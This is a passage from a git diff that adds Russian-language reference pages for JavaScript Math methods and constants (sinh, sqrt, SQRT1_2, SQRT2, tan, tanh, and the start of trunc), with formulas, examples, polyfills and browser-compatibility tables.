+slug: Web/JavaScript/Reference/Global_Objects/Math/sinh
+tags:
+  - ECMAScript6
+  - Experimental
+  - Expérimental(2)
+  - JavaScript
+  - Math
+  - Method
+  - Reference
+  - Référence(2)
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/sinh
+---
+<div>{{JSRef("Global_Objects", "Math")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>Math.sinh()</code></strong> возвращает гиперболический синус числа, который может быть выражен через {{jsxref("Math.E", "число e", "", 1)}}:</p>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mo lspace="0em" rspace="thinmathspace">Math.sinh(x)</mo></mstyle><mo>=</mo><mfrac><mrow><msup><mi>e</mi><mi>x</mi></msup><mo>-</mo><msup><mi>e</mi><mrow><mo>-</mo><mi>x</mi></mrow></msup></mrow><mn>2</mn></mfrac></mrow><annotation encoding="TeX">\mathtt{\operatorname{Math.sinh(x)}} = \frac{e^x - e^{-x}}{2}</annotation></semantics></math></p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>Math.sinh(<var>x</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Число.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Поскольку метод <code>sinh()</code> является статическим методом объекта <code>Math</code>, вы всегда должны использовать его как <code>Math.sinh()</code>, а не пытаться вызывать метод на созданном экземпляре объекта <code>Math</code> (поскольку объект <code>Math</code> не является конструктором).</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_Math.sinh" name="Example:_Using_Math.sinh">Пример: использование метода <code>Math.sinh()</code></h3>
+
+<pre class="brush: js">Math.sinh(0); // 0
+Math.sinh(1); // 1.1752011936438014
+</pre>
+
+<h2 id="Polyfill" name="Polyfill">Полифилл</h2>
+
+<p>Этот метод может эмулироваться при помощи двух вызовов метода {{jsxref("Math.exp()")}}:</p>
+
+<pre class="brush: js">Math.sinh = Math.sinh || function(x) {
+  return (Math.exp(x) - Math.exp(-x)) / 2;
+}
+</pre>
+
+<p>либо при помощи только одного вызова метода {{jsxref("Math.exp()")}}:</p>
+
+<pre class="brush: js">Math.sinh = Math.sinh || function(x) {
+  var y = Math.exp(x);
+  return (y - 1 / y) / 2;
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.sinh', 'Math.sinh')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome("38")}}</td>
+   <td>{{CompatGeckoDesktop("25")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera("25")}}</td>
+   <td>{{CompatSafari("7.1")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("25")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>iOS 8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Math.acosh()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Math.asinh()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Math.atanh()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Math.cosh()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Math.tanh()")}} {{experimental_inline}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/math/sqrt/index.html b/files/ru/web/javascript/reference/global_objects/math/sqrt/index.html
new file mode 100644
index 0000000000..28d145db02
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/math/sqrt/index.html
@@ -0,0 +1,143 @@
+---
+title: Math.sqrt()
+slug: Web/JavaScript/Reference/Global_Objects/Math/sqrt
+tags:
+  - JavaScript
+  - Math
+  - Method
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/sqrt
+---
+<div>{{JSRef("Global_Objects", "Math")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>Math.sqrt()</code></strong> возвращает квадратный корень числа, то есть</p>
+
+<p><math display="block"><semantics><mrow><mo>∀</mo><mi>x</mi><mo>≥</mo><mn>0</mn><mo>,</mo><mstyle mathvariant="monospace"><mrow><mi>M</mi><mi>a</mi><mi>t</mi><mi>h</mi><mo>.</mo><mi>s</mi><mi>q</mi><mi>r</mi><mi>t</mi><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><msqrt><mi>x</mi></msqrt><mo>=</mo><mtext>уникальный</mtext><mspace width="thickmathspace"></mspace><mi>y</mi><mo>≥</mo><mn>0</mn><mspace width="thickmathspace"></mspace><mtext>такой, что</mtext><mspace width="thickmathspace"></mspace><msup><mi>y</mi><mn>2</mn></msup><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\forall x \geq 0, \mathtt{Math.sqrt(x)} = \sqrt{x} = \text{уникальный} \; y \geq 0 \; \text{такой, что} \; y^2 = x</annotation></semantics></math></p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>Math.sqrt(<var>x</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Число.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Квадратный корень заданного числа. Если число отрицательное, то вернется {{jsxref("NaN")}}.</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Если значение <code>x</code> отрицательно, метод <code>Math.sqrt()</code> вернёт {{jsxref("NaN")}}.</p>
+
+<p>Поскольку метод <code>sqrt()</code> является статическим методом объекта <code>Math</code>, вы всегда должны использовать его как <code>Math.sqrt()</code>, а не пытаться вызывать метод на созданном экземпляре объекта <code>Math</code> (поскольку объект <code>Math</code> не является конструктором).</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_Math.sqrt" name="Example:_Using_Math.sqrt">Пример: использование метода <code>Math.sqrt()</code></h3>
+
+<pre class="brush: js">Math.sqrt(9); // 3
+Math.sqrt(2); // 1.414213562373095
+
+Math.sqrt(1);  // 1
+Math.sqrt(0);  // 0
+Math.sqrt(-1); // NaN
+Math.sqrt(-0); // -0</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.17', 'Math.sqrt')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.sqrt', 'Math.sqrt')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.sqrt', 'Math.sqrt')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Math.cbrt()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.pow()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/math/sqrt1_2/index.html b/files/ru/web/javascript/reference/global_objects/math/sqrt1_2/index.html
new file mode 100644
index 0000000000..25cc439d06
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/math/sqrt1_2/index.html
@@ -0,0 +1,112 @@
+---
+title: Math.SQRT1_2
+slug: Web/JavaScript/Reference/Global_Objects/Math/SQRT1_2
+tags:
+  - JavaScript
+  - Math
+  - Property
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/SQRT1_2
+---
+<div>{{JSRef("Global_Objects", "Math")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Свойство <strong><code>Math.SQRT1_2</code></strong> представляет квадратный корень из 1/2, приблизительно равный 0,707:</p>
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mi>Math.SQRT1_2</mi></mstyle><mo>=</mo><msqrt><mfrac><mn>1</mn><mn>2</mn></mfrac></msqrt><mo>=</mo><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mo>≈</mo><mn>0,707</mn></mrow><annotation encoding="TeX">\mathtt{\mi{Math.SQRT1_2}} = \sqrt{\frac{1}{2}} = \frac{1}{\sqrt{2}} \approx 0,707</annotation></semantics></math></p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Поскольку свойство <code>SQRT1_2</code> является статическим свойством объекта <code>Math</code>, вы всегда должны использовать его как <code>Math.SQRT1_2</code>, а не пытаться создавать экземпляр объекта <code>Math</code> и получать свойство от него (поскольку объект <code>Math</code> не является конструктором).</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_Math.SQRT1_2" name="Example:_Using_Math.SQRT1_2">Пример: использование свойства <code>Math.SQRT1_2</code></h3>
+<p>Следующая функция возвращает единицу, делённую на квадратный корень из двух:</p>
+<pre class="brush: js">function getRoot1_2() {
+  return Math.SQRT1_2;
+}
+
+getRoot1_2(); // 0.7071067811865476
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.1.7', 'Math.SQRT1_2')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.sqrt1_2', 'Math.SQRT1_2')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Math.pow()")}}</li>
+ <li>{{jsxref("Math.sqrt()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/math/sqrt2/index.html b/files/ru/web/javascript/reference/global_objects/math/sqrt2/index.html
new file mode 100644
index 0000000000..5adb33da4c
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/math/sqrt2/index.html
@@ -0,0 +1,112 @@
+---
+title: Math.SQRT2
+slug: Web/JavaScript/Reference/Global_Objects/Math/SQRT2
+tags:
+  - JavaScript
+  - Math
+  - Property
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/SQRT2
+---
+<div>{{JSRef("Global_Objects", "Math")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Свойство <strong><code>Math.SQRT2</code></strong> представляет квадратный корень из 2, приблизительно равный 1,414:</p>
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mi>Math.SQRT2</mi></mstyle><mo>=</mo><msqrt><mn>2</mn></msqrt><mo>≈</mo><mn>1,414</mn></mrow><annotation encoding="TeX">\mathtt{\mi{Math.SQRT2}} = \sqrt{2} \approx 1,414</annotation></semantics></math></p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Поскольку свойство <code>SQRT2</code> является статическим свойством объекта <code>Math</code>, вы всегда должны использовать его как <code>Math.SQRT2</code>, а не пытаться создавать экземпляр объекта <code>Math</code> и получать свойство от него (поскольку объект <code>Math</code> не является конструктором).</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_Math.SQRT2" name="Example:_Using_Math.SQRT2">Пример: использование свойства <code>Math.SQRT2</code></h3>
+<p>Следующая функция возвращает квадратный корень из двух:</p>
+<pre class="brush: js">function getRoot2() {
+  return Math.SQRT2;
+}
+
+getRoot2(); // 1.4142135623730951
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.1.8', 'Math.SQRT2')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.sqrt2', 'Math.SQRT2')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Math.pow()")}}</li>
+ <li>{{jsxref("Math.sqrt()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/math/tan/index.html b/files/ru/web/javascript/reference/global_objects/math/tan/index.html
new file mode 100644
index 0000000000..eb596547e8
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/math/tan/index.html
@@ -0,0 +1,124 @@
+---
+title: Math.tan()
+slug: Web/JavaScript/Reference/Global_Objects/Math/tan
+tags:
+  - JavaScript
+  - Math
+  - Method
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/tan
+---
+<div>{{JSRef("Global_Objects", "Math")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>Math.tan()</code></strong> возвращает тангенс числа.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code>Math.tan(<var>x</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Число, представляющее угол в радианах.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Метод <code>Math.tan()</code> возвращает числовое значение, представляющее тангенс угла.</p>
+<p>Поскольку метод <code>tan()</code> является статическим методом объекта <code>Math</code>, вы всегда должны использовать его как <code>Math.tan()</code>, а не пытаться вызывать метод на созданном экземпляре объекта <code>Math</code> (поскольку объект <code>Math</code> не является конструктором).</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_Math.tan" name="Example:_Using_Math.tan">Пример: использование метода <code>Math.tan()</code></h3>
+<pre class="brush: js">Math.tan(1); // 1.5574077246549023
+</pre>
+<p>Поскольку метод <code>Math.tan()</code> принимает радианы, а чаще проще работать с градусами, следующая функция принимает значение в градусах, преобразует их в радианы и возвращает тангенс.</p>
+<pre class="brush: js">function getTanDeg(deg) {
+  var rad = deg * Math.PI/180;
+  return Math.tan(rad);
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.18', 'Math.tan')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.tan', 'Math.tan')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Math.acos()")}}</li>
+ <li>{{jsxref("Math.asin()")}}</li>
+ <li>{{jsxref("Math.atan()")}}</li>
+ <li>{{jsxref("Math.atan2()")}}</li>
+ <li>{{jsxref("Math.cos()")}}</li>
+ <li>{{jsxref("Math.sin()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/math/tanh/index.html b/files/ru/web/javascript/reference/global_objects/math/tanh/index.html
new file mode 100644
index 0000000000..51a6a05524
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/math/tanh/index.html
@@ -0,0 +1,153 @@
+---
+title: Math.tanh()
+slug: Web/JavaScript/Reference/Global_Objects/Math/tanh
+tags:
+  - ECMAScript6
+  - Experimental
+  - Expérimental(2)
+  - JavaScript
+  - Math
+  - Method
+  - Reference
+  - Référence(2)
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/tanh
+---
+<div>{{JSRef("Global_Objects", "Math")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>Math.tanh()</code></strong> возвращает гиперболический тангенс числа, то есть</p>
+
+<p><math display="block"><semantics><mrow><mo lspace="0em" rspace="0em">tanh</mo><mi>x</mi><mo>=</mo><mfrac><mrow><mo lspace="0em" rspace="0em">sinh</mo><mi>x</mi></mrow><mrow><mo lspace="0em" rspace="0em">cosh</mo><mi>x</mi></mrow></mfrac><mo>=</mo><mfrac><mrow><msup><mi>e</mi><mi>x</mi></msup><mo>-</mo><msup><mi>e</mi><mrow><mo>-</mo><mi>x</mi></mrow></msup></mrow><mrow><msup><mi>e</mi><mi>x</mi></msup><mo>+</mo><msup><mi>e</mi><mrow><mo>-</mo><mi>x</mi></mrow></msup></mrow></mfrac><mo>=</mo><mfrac><mrow><msup><mi>e</mi><mrow><mn>2</mn><mi>x</mi></mrow></msup><mo>-</mo><mn>1</mn></mrow><mrow><msup><mi>e</mi><mrow><mn>2</mn><mi>x</mi></mrow></msup><mo>+</mo><mn>1</mn></mrow></mfrac></mrow><annotation encoding="TeX">\tanh x = \frac{\sinh x}{\cosh x} = \frac {e^x - e^{-x}} {e^x + e^{-x}} = \frac{e^{2x} - 1}{e^{2x}+1}</annotation></semantics></math></p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>Math.tanh(<var>x</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Число.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Поскольку метод <code>tanh()</code> является статическим методом объекта <code>Math</code>, вы всегда должны использовать его как <code>Math.tanh()</code>, а не пытаться вызывать метод на созданном экземпляре объекта <code>Math</code> (поскольку объект <code>Math</code> не является конструктором).</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_Math.tanh" name="Example:_Using_Math.tanh">Пример: использование метода <code>Math.tanh()</code></h3>
+
+<pre class="brush: js">Math.tanh(0);        // 0
+Math.tanh(Infinity); // 1
+Math.tanh(1);        // 0.7615941559557649
+</pre>
+
+<h2 id="Polyfill" name="Polyfill">Полифилл</h2>
+
+<p>Этот метод может эмулироваться при помощи двух вызовов метода {{jsxref("Math.exp()")}}:</p>
+
+<pre class="brush: js">Math.tanh = Math.tanh || function(x) {
+  if (x === Infinity) {
+    return 1;
+  } else if (x === -Infinity) {
+    return -1;
+  } else {
+    return (Math.exp(x) - Math.exp(-x)) / (Math.exp(x) + Math.exp(-x));
+  }
+}
+</pre>
+
+<p>либо при помощи только одного вызова метода {{jsxref("Math.exp()")}}:</p>
+
+<pre class="brush: js">Math.tanh = Math.tanh || function(x) {
+  if (x === Infinity) {
+    return 1;
+  } else if (x === -Infinity) {
+    return -1;
+  } else {
+    var y = Math.exp(2 * x);
+    return (y - 1) / (y + 1);
+  }
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.tanh', 'Math.tanh')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome("38")}}</td>
+   <td>{{CompatGeckoDesktop("25")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera("25")}}</td>
+   <td>{{CompatSafari("7.1")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("25")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>iOS 8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Math.acosh()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Math.asinh()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Math.atanh()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Math.cosh()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Math.sinh()")}} {{experimental_inline}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/math/trunc/index.html b/files/ru/web/javascript/reference/global_objects/math/trunc/index.html
new file mode 100644
index 0000000000..6e7b44147b
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/math/trunc/index.html
@@ -0,0 +1,137 @@
+---
+title: Math.trunc()
+slug: Web/JavaScript/Reference/Global_Objects/Math/trunc
+tags:
